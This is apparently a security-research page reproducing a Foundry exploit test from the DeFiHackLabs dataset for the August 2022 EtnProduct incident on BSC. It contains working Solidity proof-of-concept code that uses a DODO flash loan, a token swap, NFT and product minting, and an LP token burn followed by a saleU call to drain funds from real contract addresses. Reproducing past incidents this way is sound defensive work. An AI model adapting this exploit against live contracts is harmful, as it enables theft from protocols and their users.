Public reproduction file
src/test/2022-08/EtnProduct_exp.sol
Public reproduction file for dataset entry EtnProduct.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1pragma solidity ^0.8.10;3import "forge-std/Test.sol";4import "./../interface.sol";6// @KeyInfo -- Total Lost : ~3074 USD7// TX : https://app.blocksec.com/explorer/tx/bsc/0x72321a3b50bb68ac3b46b0ab973b0e87b6c48ab73d23c4ba2cb73527f978d9958// Attacker : https://bscscan.com/address/0xde703797fe9219b0485fb31eda627aa182b1601e9// Attack Contract : https://bscscan.com/address/0x178bf96e303fb31aef1b586271a63acd33e4eaf710// GUY : https://x.com/BeosinAlert/status/155543922047464243212interface Etnshop {13 function invite(address to, uint256 commId) external;14 function mint(uint256 commId, string memory name, string memory logo) external returns (uint256);15}17interface Etnnft is IERC721 {18 function mintETN(string memory uri, string memory name, string memory cid) external payable;19}21interface EtnProduct {22 function newProduct(23 uint256 commId,24 uint256 shopId,25 uint256 price,26 string memory name,27 string memory video28 ) external;29}31interface Umarket {32 function saleU(33 uint256 _amount34 ) external;35}37contract Exploit is Test {38 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);39 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);40 IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);41 IPancakePair Pair = IPancakePair(0xc9053B00720EB661BBdDC7BD6abA1d222aAd5a71);42 IERC20 U = IERC20(0xaa33085e8Fa2CB903157324603E4601299E5dA06);43 Etnshop Shop = Etnshop(0xBceF2955C8955342E9CC92A090bDaEcFF8c562F8);44 Etnnft NFT = Etnnft(0x48835A9065AF7315916ADfc1f952b7aBebdBFd62);45 EtnProduct etnproduct = EtnProduct(0x1292267f726e6F313972ec4e14578735473e1649);46 Umarket Market = Umarket(0xc0e8D30D2ead2C324b3f1A8386992Ba1Be534CbF);47 address constant dodo = 0x52D1C9E81D2bacDAe4c0E6815E63Db8EFBA5fD37;48 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);50 function setUp() external {51 cheats.createSelectFork("bsc", 20_147_974);52 deal(address(BUSDT), address(this), 0 ether);53 }55 function testExploit() external {56 emit log_named_decimal_uint("[Begin] Attacker BUSDT before exploit", BUSDT.balanceOf(address(this)), 18);58 DVM(dodo).flashLoan(0, 9400 * 1e18, address(this), "0x123");60 emit log_named_decimal_uint("[End] Attacker BUSDT after exploit", BUSDT.balanceOf(address(this)), 18);61 }63 function DVMFlashLoanCall(address a, uint256 b, uint256 c, bytes memory d) public {64 approveAll();65 swap_token_to_token(address(BUSDT), address(WBNB), 7380 ether);67 NFT.mintETN{value: 24.15458972 ether}("fw", "sb", "jb");68 Shop.invite(address(this), 11);69 Shop.mint(11, "fw", "sb");71 etnproduct.newProduct(11, 0, 10_000_000_000, "jb", "sb");73 Pair.transfer(address(Pair), 600_000 ether);75 Pair.burn(address(this));77 U.approve(address(Market), 9_999_999 ether);79 Market.saleU(11_253_734_856_316_884_358_000);81 BUSDT.transfer(address(msg.sender), c);82 }84 function swap_token_to_token(address a, address b, uint256 amount) internal {85 IERC20(a).approve(address(Router), amount);86 address[] memory path = new address[](2);87 path[0] = address(a);88 path[1] = address(b);89 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);90 }92 function approveAll() internal {93 WBNB.approve(address(Shop), type(uint256).max);94 WBNB.approve(address(NFT), type(uint256).max);95 BUSDT.approve(address(Shop), type(uint256).max);96 BUSDT.approve(address(NFT), type(uint256).max);97 }99 function onERC721Received(100 address _operator,101 address _from,102 uint256 _tokenId,103 bytes calldata _data104 ) external returns (bytes4) {105 return this.onERC721Received.selector;106 }107}Analysis
Dataset entry
Public Foundry test for “EtnProduct” (2022-08-04). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
10 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-08/ANCH_exp.solSame month in the dataset · 65 lines
- src/test/2022-08/Circle_exp2.solSame month in the dataset · 151 lines
- src/test/2022-08/Circle_exp1.solSame month in the dataset · 150 lines
- src/test/2022-08/DDC_exp.solSame month in the dataset · 86 lines
- src/test/2022-08/EGD_Finance_exp.solSame month in the dataset · 143 lines
- src/test/2022-08/LuckyTiger_exp.solSame month in the dataset · 72 lines
- src/test/2022-08/NomadBridge_exp.solSame month in the dataset · 91 lines
- src/test/2022-08/Qixi_exp.solSame month in the dataset · 32 lines
- src/test/2022-08/ReaperFarm_exp.solSame month in the dataset · 57 lines
- src/test/2022-08/XST_exp.solSame month in the dataset · 76 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xde703797fe9219b0485fb31eda627aa182b1601e
- Attack Contract
0x178bf96e303fb31aef1b586271a63acd33e4eaf7
File record
- Name
- EtnProduct
- Path
- src/test/2022-08/EtnProduct_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 51c5998505f282f77e9c206b49f4f076078fa782
- Language
- Solidity
- Size
- 108 lines
- Date
- 2022-08-04
- Licence
- ThreatWire editorial text
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-08/EtnProduct_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 51c5998505f282f77e9c206b49f4f076078fa782, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.